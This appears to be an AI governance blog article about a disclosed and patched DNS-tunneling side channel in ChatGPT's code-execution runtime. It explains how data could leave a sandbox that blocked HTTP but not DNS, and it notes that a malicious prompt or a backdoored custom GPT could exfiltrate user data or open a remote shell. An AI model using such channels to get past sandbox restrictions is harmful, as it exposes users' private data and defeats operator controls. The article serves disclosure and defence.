The patch is live. The vulnerability is gone. OpenAI fixed it on February 20, 2026, and there is no evidence anyone exploited it maliciously before then.¹ That’s the good news, and it’s genuinely good.

Here’s the part that matters more: your AI governance policy almost certainly wouldn’t have caught this. Not because it’s bad policy. Because it was written to govern the wrong layer.

Researchers disclosed a side channel inside ChatGPT’s Linux code execution runtime (the environment that powers the Data Analysis and code execution features) that allowed conversation data to be exfiltrated via DNS tunneling.¹ Not through any flaw in the AI model itself. Not through a jailbreak. Through the infrastructure the model runs on, through a protocol that OpenAI’s own stated safeguards explicitly did not cover.

That gap is what’s worth sitting with.

What OpenAI’s safeguard actually said

The Python Data Analysis environment, per OpenAI’s documentation, cannot generate direct outbound network requests. That’s a real constraint. It was enforced. If you tried to make an HTTP request from inside the execution sandbox, it failed.

DNS is not an HTTP request.

DNS is a name resolution protocol so fundamental to how the internet works that blocking it entirely would break enormous amounts of legitimate functionality. So it wasn’t blocked. And that created a channel. A quiet one. Data encoded into DNS queries, addressed to an attacker-controlled domain, could leave the sandbox without triggering any of the guardrails designed to prevent outbound communication.

This is called DNS tunneling, or sometimes DNS data smuggling.² It’s not a new technique. It’s been used in penetration testing and by actual attackers for years. The insight in this disclosure is that it worked inside ChatGPT’s code execution environment, inside what OpenAI described as an isolated runtime with network restrictions.

The restrictions just didn’t cover the right protocol.

What was actually at risk

User messages. Uploaded files. Sensitive conversation content. Anything present in the session when the execution environment was active.

And it gets worse than data theft. The same mechanism, in the right configuration, could have opened a remote shell inside the Linux runtime.¹ Not just exfiltration. A persistent remote presence, activated by a single malicious prompt. That’s a materially different threat category than “leaked some text.” Remote shell access means an attacker could interact with the environment directly, run arbitrary commands, and potentially access far more than whatever was in the current conversation.

There’s also a custom GPT angle worth naming.³ A backdoored custom GPT could have been crafted to abuse this same channel to access user data without consent. You wouldn’t have known. The model would have appeared to be doing whatever the GPT was designed to do.

To be clear: there is no evidence any of this happened. The disclosure came through responsible channels, the fix was deployed before public disclosure, and OpenAI confirmed they’d already identified the problem internally.² The 40-day gap between the February 20 patch and this week’s public disclosure is standard practice. This was handled professionally.

But “no evidence of exploitation” is a statement about history, not about the window that existed.

Who was actually affected

Not every ChatGPT user. The vulnerability was specific to the code execution and Data Analysis features, the ones where ChatGPT spins up a Linux runtime to execute Python. If you used those features before February 20, 2026, your sessions ran in the environment where this channel existed.

If you never used code execution or Data Analysis, this wasn’t your attack surface. Worth knowing either way.

The governance problem nobody’s fixing

Enterprise AI governance frameworks have gotten reasonably good at thinking about model behavior. They address prompt injection, data handling policies, output filtering, who can use what model for what purpose. That’s real progress and it matters.

What most of them don’t address is the infrastructure the model runs on.

This is understandable. AI governance was largely built by people thinking about the model as the risk. What does it output? What can it be manipulated into saying? How do we audit its responses? These are legitimate questions. They’re just not the only questions.

When you deploy a large language model with code execution capabilities, you’re not just deploying a model. You’re deploying a model that can spin up a Linux environment, run arbitrary code, and operate within a runtime that has its own network characteristics, its own process boundaries, its own attack surface. The model’s guardrails and the runtime’s security properties are separate systems. They can diverge.

That divergence is exactly what happened here. The model had no known prompt injection vulnerability in this case. The runtime did. They’re different layers, governed by different teams, with different security assumptions.

Most governance frameworks treat AI as a service with inputs and outputs. That framing misses everything that happens in between. It misses the execution environments, the side channels, the infrastructure-level choices that are invisible to anyone only reading the model documentation.

This isn’t unique to ChatGPT. Any AI platform with code execution capabilities is running something that deserves the same scrutiny you’d apply to any code execution environment. Network isolation. Process boundaries. Protocol filtering. Monitoring for anomalous outbound traffic including DNS.

What to actually do

If your organization uses ChatGPT’s code execution features, the immediate risk is resolved. No patch you need to apply, no migration to perform. OpenAI handled it.

The longer-term question is harder: does your AI risk framework account for the infrastructure under the model? Does it address execution environments, not just model outputs? Does it treat AI platforms with the same network security scrutiny you’d apply to any other third-party system where your data runs?

If the answer is no, this disclosure is a useful prompt to revisit that. Not because disaster struck. Because next time, with a different platform or a different runtime or a protocol nobody thought to filter, the “no evidence of exploitation” qualifier might not hold.

The model being safe and the infrastructure the model runs on being safe are two different things. Governing both requires admitting they’re separate problems.